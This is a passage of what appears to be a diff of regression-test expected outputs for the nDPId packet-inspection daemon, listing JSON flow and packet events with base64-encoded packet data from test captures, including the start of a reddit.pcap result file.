cVVrXjoe4HrPdHyk1+M+epO6JeVRXX8hnyhvPkdDUDHnOGWZjO5uvpGySW4D\/xVfRk+dUNXzhROqek6tVtWzrUZVz4r+nuHT3waf\/gb1XHREVc8HjqjqeVqtqp7fqVXV88laVT1frlXV88NarXr+9KhWPXce1arnB0e16vnJY1r1PJFUd4yO\/GnoKY6eMvGpdAY8CaUGuqTRxYSXkkX0Zee9qfBlJr2z0btsHZ1bEEpz6fd8urjYxVVaRg+VdPmQLvt1yAysm9AXZ6g9K4AZbgCzfL2L\/AzyyZprA0vDs4\/VSNc2+C8bVrA="} +00463{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":14,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422830,"pkt_ts_usec":892428,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":118,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABkrHMAAEARSbCRTALsu2A0VQhoCGgAUAAAMv8AQAn8kEPacwAARQAAPFkxQAB\/BgF7rBEkFT++kSvhEwBQ8LOPBjqqVCGgEAEB\/lMAAAEBBRI6qmoBOqpveTqqdPE6qpBJ"} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":14,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":114,"len":118} +00502{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422830,"pkt_ts_usec":892428,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":80,"pkt":"AAAAcxs8EFFy5LtdCABFeABkrHMAAEARSbCRTALsu2A0VQhoCGgAUAAAMv8AQAn8kEPacwAARQAAPFkxQAB\/BgF7rBEkFT++kSvhEwBQ8LOPBjqqVCGgEAEB\/lMAAAEBBRI6qmoBOqpveTqqdPE6qpBJ"} +02393{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422830,"pkt_ts_usec":894938,"pkt_caplen":1490,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1490,"pkt_l4_len":1456,"pkt":"AAAAcxs8EFFy5LtdCABFeAXETwQAADkRqL+7YDRVkUwC7AhoCGgFsAAAMP8FoDg844lFAAWgx4UAAPsGUcI\/vpErrBEkFQBQ4RM6qlQh8LOPBlAQAEiT+AAAl5KZswO79dqfdN5wLzXOAIQ92Psl9LuvJu9eYaa6wiPCo8GLLoCiC3z9AOnChyYVr9N+ak+4vSgpRN6DFkSfsqI+xTYmAcuH32yFwi4UlKvA4FiNm9FWHwDiSHNg\/Is7KNEsyl4ril3ZkKnPjpLmjmTt3NHPSHPHbJOkrRSbZG3lW5OsrTQ2y9pKF7OorXhTreKMkpgSMKPYoI8L3KNi5466H7csYShDZrvPLUZIp8a7J8fKCkpglBBR343C3Y3AzcIL67AhVFajhgc90wBAeBVytq27rz7VdF1TrWp6BlVTlV7nCW9aqMIfvHdqKSIomY7v4q4n3Eqm6Z8n\/LcWkAtPhIai\/Abr0qg6Bonx\/5pKenbU8EoNvZz4t7a9GS3E9rZX0vuNf\/8lerqzRf309KWxAXp6z9gAPan697muv6801\/Z391\/rb2jzBui\/of76mtxef1\/V9feZZtr+tv1Mm95Uh2\/aN4gr5e7+ZlZIze+4Ny5DpIGDRAM3qPDJ4GTQEzuNx13dA8zi7sJ49XklhN+n2v7YdfTg+\/RW8IXGPeHfSXB91RiwPLCqMYLudWl\/o1WBWpD2n9fgF\/fO8qF0tJ1N2gghPOMOZgBFnIgVRi\/1o3BPpLO3eGit2Yd+SUreTvmoj5XyQfecel5lXtcWf36xAYRMWqOV0r4HK9ssyraXwiR4F8ydTHXPgCJWDvg\/PFjwhQ\/DV6q3o6rwexv9vV6kHu+t8y8u+Wv5CypU8NDIw86VGnkoLc3plM3IcYqqTQ72mxSz0YGzbTUXd5w2wh630EbYoXb+HqZa4lIJTslWe5I\/728c3zsgpHMOwt2dAHLUyDYtu7zGukOsNB2EOPLbClDhQdGWNOYHZomqoXQ8AMbvM\/qOH1TRhy\/Kl1qlvM\/w4elrX3TiHr+Yzvn4h\/ao8nO+VM17rO9IuV\/zPllTf6Tv\/CH1u9V33Ktt\/\/we9bvRV7pf+35tX0D\/1ifJ\/Uv0lcbv0eT39t2jqT9ip669Hep3s69wu7b\/vffrxqNpH8PQ+qbM9\/vl9AxNe1Zfoa7+85Xq8olYPrqv3P9c38sJWvg20dQX6VvSa4++\/HoJPzN8GIPNl9dLri\/H5+2jrS+hp\/o90ZfaS1v\/OE17Zt+cg+r+Uv0pfeX2poO27RvdR24v03ftIW39EX219OFaq4XHnF1afPC7tPgOOxQAb2tPuf1cbL\/gIbn9Kb7JmvYzfUs044\/3Rejqz9iprj9XN54pvow+WngU7tPSg5aejL4YDf9gIAHfuZ5yfUB\/D2jpc852XX909Kflj0jfpgNa+C3Zo30\/vlv77u2thX\/Edm19pdu08PceCID3Z7987le\/5\/WW4U\/8N7pUpv94X0ZvNX1S+twv5fQ0X+\/eWn70Jmjp7+AOdfvx1H6C3F4O4udXhb6tvjkJ2voKe2vr8+4LwEfzeFX5ybr81zT8OQXbi07QjlfFX5m+QQ9q+evjeC29XNPhN+J+bXsZOnnn1dBXvK90uw6fOnobp6HfcupfD7l\/WnmF9BxRqa2vSbmOfrZp28\/YqaUXNX2TvPAG4Kv4ARle1J82Crwifb0f0vLjHB39xWxRv4M892rfr+1St0fy6JwiDxh9KvhN9Hl7avFxcbUWfqkPaukndWsA\/k93U+F7ck8tP018W8uv13TzT4RmvLm+JZr6SX7viJf7T\/KnTU8tvTd\/V+afKb5ruvlhTry2P4U99+jrX6zUR\/jJbLVamR9S47X1jeuphcf5cnV\/Sd63UeCb4+utyW\/1lZZr6ePatoDyjdTyMMOro+\/d2vLHtwfQ146Wcv9jfd1XavP33qLF7\/GNWvrRytsoHX1H+Zbs0L7P6aEe3xRfzDZtfd7N2vaabA6gz6E="} +00462{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":16,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422831,"pkt_ts_usec":332137,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":118,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABkPGYAAEARub2RTALsu2A0VQhoCGgAUAAAMv8AQAn8kEPbcwAARQAAPFkyQAB\/BgF6rBEkFT++kSvhEwBQ8LOPBjqqVCGgEAEBA8wAAAEBBRI6qmSJOqpveTqqdPE6qpBJ"} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":16,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":114,"len":118} +00475{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":24,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422831,"pkt_ts_usec":496038,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":126,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABsdA0AAEARgg6RTALsu2A0VQhoCGgAWAAAMv8ASAn8kEPccwAARQAARFkzQAB\/BgFxrBEkFT++kSvhEwBQ8LOPBjqqVCHAEAEBaSwAAAEBBRo6qn\/hOqqFWTqqdPE6qpBJOqpkiTqqb3k="} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":24,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":122,"len":126} +00474{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":25,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422831,"pkt_ts_usec":516116,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":126,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABseqMAAEARe3iRTALsu2A0VQhoCGgAWAAAMv8ASAn8kEPdcwAARQAARFk0QAB\/BgFwrBEkFT++kSvhEwBQ8LOPBjqqVCHAEAEBXjwAAAEBBRo6qoVZOqqK0TqqdPE6qpBJOqpkiTqqb3k="} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":25,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":122,"len":126} +00463{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":26,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422833,"pkt_ts_usec":131470,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":118,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABkmSIAAEARXQGRTALsu2A0VQhoCGgAUAAAMv8AQAn8kEPqcwAARQAAPFk9QAB\/BgFvrBEkFT++kSvhEwBQ8LOPBjqqWZmgEAEB\/lMAAAEBBRI6qnTxOqqQSTqqZIk6qm95"} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":26,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":114,"len":118} +00462{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":30,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422833,"pkt_ts_usec":287234,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":118,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABkzGMAAEARKcCRTALsu2A0VQhoCGgAUAAAMv8AQAn8kEPrcwAARQAAPFk+QAB\/BgFurBEkFT++kSvhEwBQ8LOPBjqqXxGgEAEB+NsAAAEBBRI6qnTxOqqQSTqqZIk6qm95"} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":30,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":114,"len":118} +00475{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":34,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422833,"pkt_ts_usec":447409,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":126,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABsAdEAAEAR9EqRTALsu2A0VQhoCGgAWAAAMv8ASAn8kEPscwAARQAARFk\/QAB\/BgFlrBEkFT++kSvhEwBQ8LOPBjqqXxHAEAEBHQQAAAEBBRo6qqCxOqqlwTqqdPE6qpBJOqpkiTqqb3k="} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":34,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":122,"len":126} +00474{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":35,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422834,"pkt_ts_usec":706876,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":126,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABspBUAAEARUgaRTALsu2A0VQhoCGgAWAAAMv8ASAn8kEP1cwAARQAARFlIQAB\/BgFcrBEkFT++kSvhEwBQ8LOPBjqqXxHAEAEBG8wAAAEBBRo6qqCxOqqm+TqqdPE6qpBJOqpkiTqqb3k="} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":35,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":122,"len":126} +00474{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":36,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422834,"pkt_ts_usec":810623,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":126,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABswggAAEARNBORTALsu2A0VQhoCGgAWAAAMv8ASAn8kEP3cwAARQAARFlJQAB\/BgFbrBEkFT++kSvhEwBQ8LOPBjqqXxHAEAEBF4wAAAEBBRo6qqCxOqqrOTqqdPE6qpBJOqpkiTqqb3k="} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":36,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":122,"len":126} +00474{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":37,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422834,"pkt_ts_usec":810623,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":126,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABswgkAAEARNBKRTALsu2A0VQhoCGgAWAAAMv8ASAn8kEP4cwAARQAARFlKQAB\/BgFarBEkFT++kSvhEwBQ8LOPBjqqXxHAEAEBFlQAAAEBBRo6qqCxOqqscTqqdPE6qpBJOqpkiTqqb3k="} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":37,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":122,"len":126} +00474{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":38,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422834,"pkt_ts_usec":970446,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":126,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABsCZYAAEAR7IWRTALsu2A0VQhoCGgAWAAAMv8ASAn8kEP6cwAARQAARFlLQAB\/BgFZrBEkFT++kSvhEwBQ8LOPBjqqXxHAEAEBEhQAAAEBBRo6qqCxOqqwsTqqdPE6qpBJOqpkiTqqb3k="} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":38,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":122,"len":126} +00486{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":49,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422836,"pkt_ts_usec":805918,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":134,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeAB0ec4AAEARfEWRTALsu2A0VQhoCGgAYAAAMv8AUAn8kEMGdAAARQAATFlXQAB\/BgFFrBEkFT++kSvhEwBQ8LOPBjqqXxHgEAEBriQAAAEBBSI6qmSJOqpqATqqZIk6qm95OqqgsTqqsLE6qnTxOqqQSQ=="} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":49,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":130,"len":134} +00462{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":51,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422837,"pkt_ts_usec":968976,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":118,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABkCt4AAEAR60WRTALsu2A0VQhoCGgAUAAAMv8AQAn8kEMOdAAARQAAPFlfQAB\/BgFNrBEkFT++kSvhEwBQ8LOPBjqqb3mgEAEBaxMAAAEBBRI6qqCxOqqwsTqqdPE6qpBJ"} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":51,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":114,"len":118} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":54,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422838,"pkt_ts_usec":904895,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABcQ5AAAEARspuRTALsu2A0VQhoCGgASAAAMv8AOAn8kEMUdAAARQAANFllQAB\/BgFPrBEkFT++kSvhEwBQ8LOPBjqqkEmAEAEB5OIAAAEBBQo6qqCxOqqwsQ=="} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":54,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":106,"len":110} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":57,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422838,"pkt_ts_usec":960483,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABcVMgAAEARoWORTALsu2A0VQhoCGgASAAAMv8AOAn8kEMVdAAARQAANFlmQAB\/BgFOrBEkFT++kSvhEwBQ8LOPBjqqlcGAEAEB32oAAAEBBQo6qqCxOqqwsQ=="} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":57,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":106,"len":110} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":59,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422840,"pkt_ts_usec":104736,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABc4ZkAAEARFJKRTALsu2A0VQhoCGgASAAAMv8AOAn8kEMfdAAARQAANFlvQAB\/BgFFrBEkFT++kSvhEwBQ8LOPBjqqlcGAEAEB5OIAAAEBBQo6qps5OqqwsQ=="} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":59,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":106,"len":110} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":60,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422840,"pkt_ts_usec":304141,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":98,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABQIPEAAEAR1UaRTALsu2A0VQhoCGgAPAAAMv8ALAn8kEMgdAAARQAAKFlwQAB\/BgFQrBEkFT++kSvhEwBQ8LOPBjqqsLFQEAEBwUkAAA=="} +00197{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":60,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":94,"len":98} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":71,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422840,"pkt_ts_usec":464152,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABcV2kAAEARnsKRTALsu2A0VQhoCGgASAAAMv8AOAn8kEMhdAAARQAANFlxQAB\/BgFDrBEkFT++kSvhEwBQ8LOPBjqqsLGAEAEB5OIAAAEBBQo6qpXBOqqbOQ=="} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":71,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":106,"len":110} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":72,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422841,"pkt_ts_usec":363459,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":98,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABQeDYAAEARfgGRTALsu2A0VQhoCGgAPAAAMv8ALAn8kEMndAAARQAAKFl3QAB\/BgFJrBEkFT++kSvhEwBQ8LOPBjqqtilQEAEBu9EAAA=="} +00197{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":72,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":94,"len":98} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":75,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422841,"pkt_ts_usec":387384,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABcgJcAAEARdZSRTALsu2A0VQhoCGgASAAAMv8AOAn8kEModAAARQAANFl4QAB\/BgE8rBEkFT++kSvhEwBQ8LOPBjqqtimAEAEBiLoAAAEBBQo6qsEZOqrGkQ=="} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":75,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":106,"len":110} +00462{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":76,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422841,"pkt_ts_usec":667515,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":118,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABk3UcAAEARGNyRTALsu2A0VQhoCGgAUAAAMv8AQAn8kEMpdAAARQAAPFl5QAB\/BgEzrBEkFT++kSvhEwBQ8LOPBjqqtimgEAEBStoAAAEBBRI6qtGBOqrW+TqqwRk6qsaR"} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":76,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":114,"len":118} +00462{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":77,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422841,"pkt_ts_usec":947169,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":118,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABkO3EAAEARurKRTALsu2A0VQhoCGgAUAAAMv8AQAn8kEMqdAAARQAAPFl6QAB\/BgEyrBEkFT++kSvhEwBQ8LOPBjqqtimgEAEBRWIAAAEBBRI6qsEZOqrMCTqq0YE6qtb5"} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":77,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":114,"len":118} +00474{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":78,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422842,"pkt_ts_usec":802966,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":126,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABsXowAAEARl4+RTALsu2A0VQhoCGgAWAAAMv8ASAn8kEMydAAARQAARFmBQAB\/BgEjrBEkFT++kSvhEwBQ8LOPBjqqtinAEAEB0NEAAAEBBRo6quzZOqryUTqqwRk6qswJOqrRgTqq1vk="} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":78,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":122,"len":126} +00474{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":79,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422842,"pkt_ts_usec":862838,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":126,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABsdGMAAEARgbiRTALsu2A0VQhoCGgAWAAAMv8ASAn8kEMzdAAARQAARFmCQAB\/BgEirBEkFT++kSvhEwBQ8LOPBjqqtinAEAEB1kkAAAEBBRo6qudhOqryUTqqwRk6qswJOqrRgTqq1vk="} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":79,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":122,"len":126} +00474{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":81,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1550422844,"pkt_ts_usec":222036,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":126,"pkt_l4_len":0,"pkt":"AAAAcxs8EFFy5LtdCABFeABsUeoAAEARpDGRTALsu2A0VQhoCGgAWAAAMv8ASAn8kEM8dAAARQAARFmLQAB\/BgEZrBEkFT++kSvhEwBQ8LOPBjqqu6HAEAEB0NEAAAEBBRo6qudhOqryUTqqwRk6qswJOqrRgTqq1vk="} +00199{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":81,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","caplen":122,"len":126} diff --git a/test/results/reddit.pcap.out b/test/results/reddit.pcap.out new file mode 100644 index 000000000..d62d5eae5 --- /dev/null +++ b/test/results/reddit.pcap.out @@ -0,0 +1,1091 @@ +00509{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"reddit.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1605291684451,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80a::200a","src_port":40028,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":451133,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gBBqZACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAKnFwBu4Sgd8UAAAAAoAL9IJAlAAACBAWgBAIICtTdYAcAAAAAAQMDBw=="} +00509{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"reddit.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1605291684451,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80a::200a","src_port":40030,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":451247,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gDERGACgGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAKnF4Bu+Ka2YUAAAAAoAL9INBoAAACBAWgBAIICtTdYAcAAAAAAQMDBw=="} 